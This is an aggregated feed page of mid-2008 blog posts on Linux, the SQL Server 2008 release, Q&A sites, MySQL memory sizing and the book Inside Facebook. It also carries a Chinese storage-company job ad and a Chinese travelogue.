12:46 Friday round-up: DefCon, Facebook, tech jobs, and rock-paper-scissors. (2345 Bytes) » Red Hat Magazine

We’ve had some URLs of interest just sitting around the editorial desk. Now it’s Friday and time to share with you:

World’s fastest computer runs on Linux

Rolling Stone has become quite the tech reporter of late. Check out this article on the founding of Facebook. Geeks, code, intrigue… perhaps even betrayal. It’s like a bedtime adventure story for little nerds.

Is this your job? If so–consider this as an alternative to [career] suicide?

Short story to read: The Things that Make Me Weak and Strange Get Engineered Away by Cory Doctorow

Got a little time on your hands this weekend? Perhaps lure your friends in a Paper, Rock, Scissors battle. Wired has a tutorial on winning this game for all ages. (For those wanting something a little more substantial, check out the sneak peek of this year’s DefCon badge.

10:00 Log Buffer #109: A Carnival of the Vanities for DBAs (9843 Bytes) » Pythian Group Blog » Log Buffer

It’s time again for another edition of the weekly review of database blogs, Log Buffer. Since it was a big week for SQL Server, let’s start there, shall we?

The big news — SQL Server 2008 is released, as reported by SqlServer-qa.net, in seven different versions. Aaron Bertrand introduces a new kid on the block: SQL Server 2008 Web Edition — “. . . designed for highly available Internet facing web serving environments for the next generation Windows Server,” according to MS. (I’ve heard it rains quite a lot in Seattle. I guess it also Drizzles, too.) Says Aaron, “Basically, it has higher scalability than Express or Workgroup Editions : it supports up to 4 CPUs, no artificial limit on RAM, and unlimited database size.”

(Before you crack open your server case, Tara Kizer on Ramblings of a DBA has some advice on how to get physical CPU count on a server.)

The SQL Server Express Express blog helpfully offers a table outlining the differences in the features of the differences between SQL Server 2008 Express editions.

A couple little issues with the release have already emerged. Here’s Euan Garden on SQL Server 2008 Installation Confusion, VS 2008 Sp1 and NetFx 3.5 Sp1: “SQL Server 2008 has dependencies on (and includes) VS 2008 SP1 and its components (BIDS is just VS 2008, SSMS uses components), plus NetFx 3.5sp1. SQL includes the RTM versions of both of these, HOWEVER they are not broadly released yet. There is a check in SQL Server Setup that if you have an old version (Beta, RC, whatever) it will bounce the install and ask you to upgrade to the RTM bits…which of course are not yet available independent of SQL.” Click through for the KB and some other help. Denis Gobo and his readers have some more to say about this.

In all this change, you may lose sight of an important fact or two, and you may ask yourself, how did I get here . . . what version of SQL Server am I running? A couple resources are shared by Kevin Kline.

(more…)

These icons link to social bookmarking sites where readers can share and discover new web pages.

06:31 Interesting thought... (826 Bytes) » The Tom Kyte Blog

I read this yesterday...

Got me thinking about Q&A sites...

I believe the author there has something - if you introduce a barrier to entry, it will have it so that only those that really want in - are in. I don't know that metafilter is better/worse/same as reddit and digg - I do know that I used to follow digg, then it became a "not as good place" for me. I follow reddit - but it is becoming very much the same. I've never used metafilter (on my todo list now) so cannot compare it. But the *idea* proposed, the concept - it does seem to have merit.

It would be neat to know if this has ever been studied before - does anyone know? Thoughts?

01:52 UIT最新招聘职位 (3057 Bytes) » 存储部落

职位：资深解决方案顾问

北京2人，上海1人，深圳1人

工作内容：
1、结合公司产品或第三方软硬件产品开发多个行业解决方案；
2、重大项目技术支持；
3、大型展会、市场宣传活动现场演讲，大型集成商、渠道和客户的技术培训和产品培训；
4、定期向公司提交多个行业发展现状、技术状况、后期趋势等方面的分析报告，并给出应对措施及方法。

岗位要求：
1、10年以上1-2个行业工作经验，或8年以上3个行业工作经验；
2、熟悉存储技术及市场上的主流产品；
3、熟悉了解电信、金融行业各类系统的应用特点，或熟悉政府、教育、广电、视频监控、网站等多个行业系统,具有一定的广域网和通信行业技术基础；
4、有销售工作经验者优先；
5、较强写作能力，在专业媒体和杂志上发表5篇以上技术论文；
6、丰富的大型活动现场演讲经验；
7、积极主动，富有热情，易于相处。

简历请发到：fengkai@uit.com.cn

00:48 镇边戍远 (2713 Bytes) » Fenng's shared items in Google Reader

洪武初年，朱元璋发动多次“平滇”战争，派几十万官兵进入贵州。每陷一地，就留下一部分官兵驻守。这些来自江南的官兵，大多就在当地成家立业，再也没回去。

相对同于1986公布的第二批中国历史文化名城中，镇远的名气远不如丽江、平遥、敦煌。如同它的名字般，镇远历代为兵家争夺的重镇，极易让人联想起某个金戈铁马的年代，比如江湖中大名鼎鼎的“镇远镖局”，还有甲午风云里被日军掳走的“镇远舰”。

早上7点多到达镇远，从火车站走大约两公里才进城区，沿主干道直走就可以。大清早的没啥事，反正我们也闲逛，首先到达的和平村，在华日本人民反战同盟的支部旧址，一个让罪恶放下屠刀立地成佛，让豺狼洗心革面重新做人的地方，现在好像是警察局。

继续走，看到个老城门，从旁边走上去便是古城垣。貌似比长城还结实，全是贵州特产的石头修砌而成，宽度足可以跑马。父亲说，这城墙用炮弹都得好几炮才能打穿。

沿城墙前进到河边，估计就是舞阳河，很远就能看到桥对岸的步行街，走过去能看到桥栏杆上刻有大量有关镇远诗词，比较眼熟的有林则徐、王阳明。还有个叫周瑛的写了很多，后来到博物馆才晓得，这小子原是当地知府。

博物馆是石牌坊模样的大门，看陈设很像以前的大户人家，介绍说原为邹姓家族祠堂。除几件残存的老物件石雕、木雕，主要是大幅城市、人物介绍，包括以前的丰功伟绩。有胡锦涛在舞阳河的照片，摄于当年在贵州任书记时。

出来往前过祝胜桥便到了青龙洞，貌不惊人的山，黑漆漆的入口洞，容易给人不值50元的错觉。所谓道不同不相为谋，在这里的附崖建筑上，充分体现了什么叫和谐。青龙洞还可以在较高位置观镇远城，以及舞阳河在小城中央所划的S形，看起来比芙蓉姐姐要圆润的多。

00:48 关于喜好度的思考 (2592 Bytes) » Fenng's shared items in Google Reader

1. 曾经有一个人，一天去拜访一位先哲，于是他就请教这位先哲，我如何才能同我喜欢的人一起工作。
先哲想了想：你在家soho吧。

2.过了这段时间，这个人再次拜访先哲，他请教这位先哲，我现在在家soho, 可是我发现我的工作越来越没有竞争力
先哲想了想：你去创业吧。

3.又过了段时间，这个人第三次拜访先哲，他请教这位先哲，我现在创业了，然后找了些我喜欢的人一起工作，可是他们的作品并不让我满意，先哲问了下，那么他们彼此是不是也很喜欢，这个人说：嗯，我喜欢的，他们也喜欢，我讨厌的，他们也讨厌
先哲想了想：请你过去不喜欢的人进入公司吧。

4.又过了段时间，这个人第四次拜访先哲，他请教这位先哲，我现在创业了，也请了一个我过去不怎么喜欢，但还过得去的人一起工作，现在他们的作品还算满意，可是我想做行业第一，他们还满足不了我这个需求
先哲想了想：请你过去的仇人进入公司吧。

5.又过了段时间，这个人第五次拜访先哲，他看了看先哲，你能加入我的公司么？
先哲想了想：你已经不需要我了

思考以下几个问题：
1.在公司里面，谁是你的先哲？
2.在公司里面，谁和你看法不一致？
3.在公司里面，谁和你总是争论？

思考一下几个问题：
1.在公司里面，你的团队中是否有人彼此有竞争
2.在公司里面，你的团队会议中是否有不同的看法出现
3.在公司里面，你的团队决策上是否有争论出现
类别：Yy 查看评论

00:38 物理硬盘的发展 (311 Bytes) » Uploads from dbanotes

dbanotes posted a photo:

00:00 Inside Facebook 读书笔记 (5254 Bytes) » DBA notes

作者：Fenng 发布在 dbanotes.net. | 转载文章是对互联网的伤害

Inside Facebook.jpg 利用电脑启动、收邮件的一些零散时间，看完了这本 Inside Facebook 翻译版，感觉有所得。有些朋友说没看到"实质性"的东西，什么是"实质性"的东西? 难道你要看到"成功宝典"么? Facebook 只有一个，东施效颦的模仿者学其形或许还成，学其神就难了。

观点

任何一件没有全力以赴的事情，都会对其它员工造成不良影响 ... 一个成功的公司的公司，绝对不应该允许其员工只是简单地维持现状。

对于不需要第二天早上八点半爬起来送孩子上学的年轻人来说，熬夜工作是一种纯粹的乐趣。

若是待遇不错，客服人员是公司最能解决问题的人手。他们甚至会发自内心地以愉悦的面貌投入工作。

细节

Google 趋向于招聘领域内的知名专家，而 Facebook 则鼓励工程师成为多面手。

泛

专

任何公司里都只有一小部分工程师是最出成果的。

现在 Facebook 内部还在用 Trac 。

Trac

简化会议

CEO 肖恩在生活细节上非常马虎。

这本书尽管翻译行文上有一些不一致和粗糙的地方，但还是指的一看的。毕竟应该看传递出来有价值的那一部分，盯着一本书的缺点就没意思了。这本书定价不贵，建议买一本也算支持译言翻译小组辛苦的劳动了。

--EOF--

BTW: 最近工作、私事都很多，奥运也来了，可能更新频率会不那么高了，朋友们见谅!

相关文章|Related Articles

Facebook 的 PHP 性能与扩展性 - Apr 9, 2008
Facebook 海量数据处理 - Jun 26, 2008

评论数量(0)|Add Comments

本文网址：http://www.dbanotes.net/review/inside_facebook.html
最近作者还说了什么? Follow Twitter / Fenng

DBA notes 理念: 用最简约的技术取得最大的收益!

21:24 Predicting Performance improvements from memory increase (6532 Bytes) » MySQL Performance Blog

One common question I guess is how much should I see performance improved in case I increase memory say from 16GB to 32GB. The benefit indeed can be very application dependent - if you have working set of say 30GB with uniform data access raising memory from 16GB to 32GB can improve performance order of magnitude by converting very IO bound load to CPU bound, it is well possible to see limited gains - if your working set already fits in 16GB you may not see any significant gains upgrading memory to 32GB. Interesting enough similar can happen for very large working set - for example if your main queries do full table scan of 100GB table it does not matter if you have 16GB or 32GB the load is going to be way too much IO bound anyway.

Interesting enough because of MySQL scaling issues it is also possible to see performance to go down as you increase buffer pool size. Some threads which would be safely sleeping waiting on IO completion are now finding their data in buffer pool so they start to compete on hot latches and performance go down.

Now back to original question - how do we predict the benefit from increasing the memory and so cache sizes ? I typically start by looking at the type of load we’re dealing with. If it is CPU bound and there is little IO wait we typically do not expect to gain much by increasing the memory.

This however have to be watched carefully. Performance does not always stays the same and the goal may not be optimizing average performance. It may be heavy data processing batch job which is IO bound and which runs too slow (and affects other transaction) and may be increasing memory is helpful to solve this problem.

If it is IO bound (high IO system utilization, low CPU usage) one should think about how much CPU capacity is available. If your CPU is 25% busy you will unlikely get more than 4x even if you eliminate all IO completely (unlikely because there is increased CPU overhead going IO path as well), so account for that.

Besides pure CPU based computation you should account for locking. Consider for example bunch of transactions updating single row in the table. Having such workload you would likely see no IO and a lot of CPU idle and not because of internal Innodb limits but because your application logical serialization problems.

So what if we have very IO bound application without serialization issues (say reporting slave) which is very IO bound showing 100% IO subsystem utilization on 5% of CPU usage ? This is the true challenge becomes because MySQL has no tools to analyze working set (we have per query working set in our patches but it is not enough). We have couple of ideas how to do global working set profiling but it should wait for now.

At this point I typically use my intuition to try to guess how much data application to get some ballpark figure and often it is enough.

If you would like to be more scientific there are couple of other things you can do. First - you can test by scaling down the data. If you have data for say 500.000 users on the 16GB server get it down to the half of that and you will often be close to seeing performance 32GB server would have. You however have to be careful and understand how data is used in your application. If you say have data for 10 years and load data for 5 years only to compare performance you may get misleading results if reports are typically done for last few months. Basically in such exercise your goal is load data so the working set would be half of original so it would have cache fit similar to one on the larger system you’re trying to compare to. Using this approach you also should be careful with your estimations and take IO subsystem into account - even with same cache hit ratio more data and more load means there are higher demands for IO subsystem performance.

By far the best method is trying, if you can afford it - just get memory upgrade and see how it affects performance. With many vendors you can get the memory upgrade or the whole system to try and return it back if it does not fit your needs. This approach especially works well if you have many slaves (or many shards) in which case you can see performance or capacity improvements quite easily.

Entry posted by peter | 3 comments

Add to: | | | |